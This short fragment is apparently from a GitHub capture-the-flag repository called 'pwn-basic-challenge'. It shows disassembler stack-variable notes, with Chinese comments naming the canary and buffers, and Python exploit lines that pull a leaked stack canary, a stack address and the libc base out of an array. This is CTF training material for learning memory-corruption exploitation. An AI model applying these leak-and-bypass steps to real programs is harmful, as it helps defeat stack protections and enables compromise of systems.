segnolin / pwn-basic-challenge Goto Github PK

var int local_138a8h @ rbp-0x138a8                                          
var int local_138a0h @ rbp-0x138a0                                          
var int local_20h @ rbp-0x20        這是name                                     
var int local_8h @ rbp-0x8          這是canay                                      
arg int arg_138a0h @ rbp+0x138a0   這是arr[]

canary = array.pop(array.index(max(array, key=abs)))
if canary < 0:
    canary += 0xffffffffffffffff + 1
log.info(hex(canary))

stack = array.pop(array.index(max(array, key=abs)))

libc = array.pop(array.index(max(array, key=abs))) - 0x21b97